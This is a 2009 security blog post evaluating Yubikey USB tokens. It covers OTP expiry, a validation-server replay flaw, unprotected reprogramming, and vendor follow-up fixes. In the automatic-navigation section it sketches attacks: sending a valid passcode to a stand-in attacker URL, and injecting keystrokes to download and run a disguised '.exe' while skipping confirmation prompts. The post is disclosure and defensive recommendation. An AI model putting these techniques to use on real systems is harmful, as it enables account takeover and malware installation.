Security DJ

Yubikey

Quick Summary

NOTE! (Added 2009-08-30): Please note that most of these security issues described in this article are now fixed, or the risk reduced. Please read this post for more information.

• Yubikey is not a read-only device. Its internal configuration is unprotected.
• Yubikey can create and send passcodes over the Internet without you pressing the key.
• Yubikey-generated one time passcodes are valid regardless of time.
• Yubikey can be used to download and execute malicious code on computers.
• A Yubikey lost means the passcode revealed, since it has no lock.
• The Yubikey validation service is not backed by the vendor – it is offered as “best effort”.
• Attackers have access to the source code and documentation of the validation server.
• Unused features that can be used as attack vectors are left in the firmware.

What is Yubikey?

Yubikey is a security device from the innovative Swedish startup Yubico. It is a very small piece of hardware, in the form of a USB key that fits on your key chain. What makes Yubikey so smart is that it does not need any client software and it can be used on all computers that have a USB slot.

The intended use is for secure and efficient authentication of users to services over the Internet. It works just like a computer keyboard connected to a USB slot. In fact, it is more or less a computer keyboard, since all it does is to simulate a keyboard in order to enter long passwords into textboxes when you want to login to for example a web site.

The Yubikey has one button. If you insert the Yubikey into a computer and press this button, it generates the user’s identity and a passcode, just like if you would have written it yourself on the keyboard. It is possible to re-program a Yubikey to for example generate static (never changing) passcodes instead of the default which are so called one time passcodes (hereafter called OTPs).

The Yubikey is used for applications such as to login to single-sign-on services such as OpenID and MashedLife.com, Windows, blogs, forums, and more. In most cases one time passcodes, OTPs, are used and validated against some validation server. The yubikey can also be used completely offline without validation, for example to enter a complex but static passcode to unlock an encrypted disc that is protected with TrueCrypt.

Introduction

I recently ordered five Yubikeys with the intent to evaluate this system as a potential secure login mechanism for some of my clients. This blog posting is the result of that evaluation. As will be clear below, I found the Yubikey to have some critical security weaknesses. All of these security weaknesses can be corrected, some with very little effort.

Remember that Yubico is a startup company. They were taken by surprise by the high demand for their product. The Yubikey firmware and software (validation server) are both somewhere between development and testing in terms of maturity. It is not production ready. This is problematic since it is not always clear that this is the case, since Yubikeys are sold to end-users that use them to login to valuable information assets, with Yubicos validation service at the back-end.

Below, I list a number of security weaknesses of the Yubikey. The severity of these weaknesses might vary with the users’ knowledge, the Yubikey firmware version, the validation server version, and the intended use. The evaluation is based on reading the official Yubikey documentation, communicating with Yubikey support via e-mail, reading the Yubico forum and wiki, and testing.

Yubikey Weaknesses

A stolen one time passcode is valid for authentication until the next time the real user uses the Yubikey.
The Yubikey is equipped with an internal timer that is used to calculate the time difference between the generation of two subsequent one time passcodes (OTPs) during one Yubikey session. However, since there is no battery for the timer in the hardware (compare with e.g. secureID which has a timer and battery) it is only possible to use this internal timer if the user is requesting two OTPs. For a normal login, you might use only one OTP, then this means that there is no certain time limit that stipulates how many seconds, minutes or hours that OTP is valid. Consequence: An attacker that have managed to acquire a OTP can have hours, days, or even months to use it, since it will be valid until the legitimate user uses the Yubikey again. It is important to note that the attacker does not need the Yubikey for anything – only the OTP. In summary: The last unused OTP does not expire until the Yubikey is used again, unlike for example those OTPs generates by SecureID. (Source: Derived from communication with Yubico support).

Validation servers that are currently deployed have a security flaw
According to a discussion at the Yubico forums, some Yubikey users found that they could generate for example five OTPs, and then authenticate with these five keys over and over again. Yubico employed developers found that “OTPs that were generated while the key remained inserted then OTPs within that session could be replayed without detection until next removal and insertion of the Yubikey. The reason was that the Yubikey counter for “session use” was not checked by the server”. For earlier firmware versions (pre 1.3.3), the validation server was checking the timestamp instead of the session counter, but this was dropped! due to incompatibility with firmware 1.3.3. This bug is now very quickly fixed in the Yubico validation server source code on 2009-02-07 – session use is checked (but not timestamp) . The current release of the server available for download here (2009-02-21) is not updated, and thus still vulnerable (Update 2009-02-23 – new server version 1.1 available, see end of article). This release has been downloaded over 200 times, and it is still available for download. Yubico has not communicated this issue to its user base clearly. Therefore, it is very likely that most validation servers in production are still vulnerable. It is also likely that more people will download the vulnerable server. Consequence: Even if the scenario is that all users only generates a OTP once every session (as long as the key is attached to the computer), this is still a very serious flaw, since the protection earned by using a one time passcode is lost because an attacker can reuse it, even if it is only seconds or minutes later. Even when this vulnerability is completely fixed, the other related weakness described above is still present, since it it a part of the design. (Source: Yubico forums)

The yubikey is delivered without programming password set.
Anyone with access to any computer where a user inserts their Yubikey can reprogram the key. This does not need to be a security problem, if all customers were informed about this fact, and that they should lock their key. However, there is no information about this in the shipment from Yubico. Consequence: Some users, who do not understand or care too much about how the Yubikey works, will be unprotected from the reprogramming of their Yubikey by a malicious user or software. This is important since the user should be able to trust the key (it is the security device) in an otherwise unsecure environment. The idea is to be able to access for example the company network from an Internet Café with unsecured computers. (Source: Programming test)

The automatic navigation feature can be used by an attacker.
The Yubikey features a function called “automatic navigation”. This function tells the computer to start its default web browser and take the user to a preconfigured URL and optionally generate and send a one time passcode (OTP). This is used by for example MashedLife.com for their single-sign-on service. There is a risk that an attacker might change an unprotected automatic navigation feature to point to another URL, and thereafter emit a valid OTP. Subsequently, three seconds after the next insertion of the key, it will navigate to the attacker’s site and emit a valid one time passcode that the attacker can use to authenticate as the user (http://www.attacker.tld/otp?thisisthesecretpasscode). Neither the attacker nor the user needs to do anything in order to transfer this code – it will end up in the attacker’s web server error log in clear text seconds after the user inserts the key into the computer, without any buttons to press. This re-configuration is possible since Yubikeys are delivered without the programming passcode set. In addition, according the current Yubikey Personalization Tool Guide 1.5, the automatic navigation feature would still not be protected even with this passcode. It reads “Also note that the programming password is not required to reconfigure the “Automatic Navigation” feature.” To sum up: This security device has a built-in feature that generates a one time passcode that is valid potentially unlimited in time, and sends it off as a part of a HTTP GET request to any URL someone with access to any computer where the Yubikey is inserted into decides. Yubico support says they might drop this feature on later firmware revisions. (Source: Derived from information in Yubikey Personalization Tool Guide 1.5 and Yubico code examples). (Update 2009-02-23 -  Yubico has plans to solve this in firmware 1.3.4, see below).

The automatic navigation feature can be used to execute arbitrary code.
Since the feature “automatic navigation”, discussed above, is emulating a keyboard pressing the “windows”-button plus “r” to execute “http://www.site.com”, it can also be used to run arbitrary code residing on the computer or to download code. Since it is a keyboard from the perspective of the computer, it can also press OK or Enter to confirm the running or installation of malicious code. This is something new for malware to try – probably never seen before. Consider [win]+[r]+’http://www.attacker.tld/update-yubikey-firmware-134.exe’+[CR] (carriage return) or some other combination. With a combination of [tab] and [enter], all controls asking “do you really want to run this?” can be bypassed. I have not tested how complex sequences one can execute. Also, there might be differences in different firmware versions. It is clear that the Yubikey API allows for programming the keyboard to “press” different buttons. All the attacker’s commands are then run (or rather keys are pressed) three seconds after the key is inserted into the computer. (Source: Yubico forums and Yubico Support E-mail). (Update 2009-02-23 – This will also be solved by the new planned firmware 1.3.4).

Open source of code makes it easier for attackers.
Although it is very handy that Yubico have open sourced code including the validation server and code examples for programming the key, as well as information about the Yubikey API, it is also much easier for attackers to write malicious code that reconfigures the Yubikey in the way described above. There are many code examples available to start from. Given the lack of maturity of the published code that is compiled into validation servers, it is also easy for an attacker to find potential flaws that can be exploited (Like the flaw discussed earlier). (Source: http://code.google.com/search/#q=yubico).

With physical access to the key, there is no protection of the passcode.
Using the key in static passcode mode, this is the equivalent of having a paper in your wallet which says “The passcode is [your passcode]”, since anyone with physical access to the key can put it into a computer and press the button to get it. In one time passcode mode the passcode generated will be valid for login at least as long as the hacker authenticates before the legitimate user. The attacker with physical access can quickly take a key and put it into their computer or mobile and press the key and save the passcode in a text file for later usage. In some use cases there are additional secrets to be entered upon login, then this scenario does not work. It is important to inform the users about this, so that they are not under the impression that you need the key device to login. This is not a security flaw, but something that all users should understand.

Recommendations for increased security

1. Ship all keys that are sent to end-users with programming password set, and provide them with the password.
2. While shipping keys for testing, development and to resellers, be clear to inform the buyer in writing that the keys are not protected from reconfiguration and that they must be protected before sent off to end-users.
3. Disable the automatic navigation feature on in the default firmware version and let customers decide if they want this when they order, after explaining what it is and the risks with having it in a security device (this is not the case today according to Yubikey support e-mail, 2009-02-14)
4. Make sure that the programming password does protect against changes in the automatic navigation feature (page 17 in the Yubikey Personalization Tool Guide 1.5 states that this is not currently the case, 2009-02-14).
5. Set up a rigorous quality assurance process for the development of the validation server and other critical system components, to make sure that current flaws are fixed and that new ones do not find their way into production.

Yubikey is a really good idea, and an interesting product. Do not let this evaluation discourage you from using Yubikey. By having read this post, you will have knowledge to avoid some of the security weaknesses listed above.

Please expand, correct or just comment. Any communication from Yubico will also be published here if they want that.

Latest developments

2009-02-23: Yubico have considered the recommendations above and they now have plans to enable a protection for the automatic navigation feature in the 1.3.4 firmware version which will be in production from the March 5 batch and onwards. This means that if a programming password is set, then it will not be possible to change autonavigation information at all. However, it is surprising that the leave the feature in the firmware. It leaves the key open to DNS issues (attacker with write access to a computer where the key is used controls the DNS or puts a hosts-file which points the autonav URL to attackers IP-number and emits a valid OTP) and brute-force attacks where the programming password is cracked and the autonav information changed.

2009-02-23: There is a newly built version, 1.1, of the validation server available from today that does not include the security flaw that enables the replay attack described above. This will decrease the risk that these flaw finds its way into new validation server installations. However, given that the vendor only offers the validation service as a “best effort” service, it is likely that we will find more flaws soon, in validation server components and the YMS web interface. Remember – this system is not in production – it is not backed by the vendor.

2009-08-30: There is a new firmware version out the dropped the autonavigation feature. Other security improvments as well. Please look at this new post.

This entry was posted on Sunday, February 15th, 2009, 12:30 am and is filed under Security Reviews. You can follow any responses to this entry through RSS 2.0. You can leave a response, or trackback from your own site.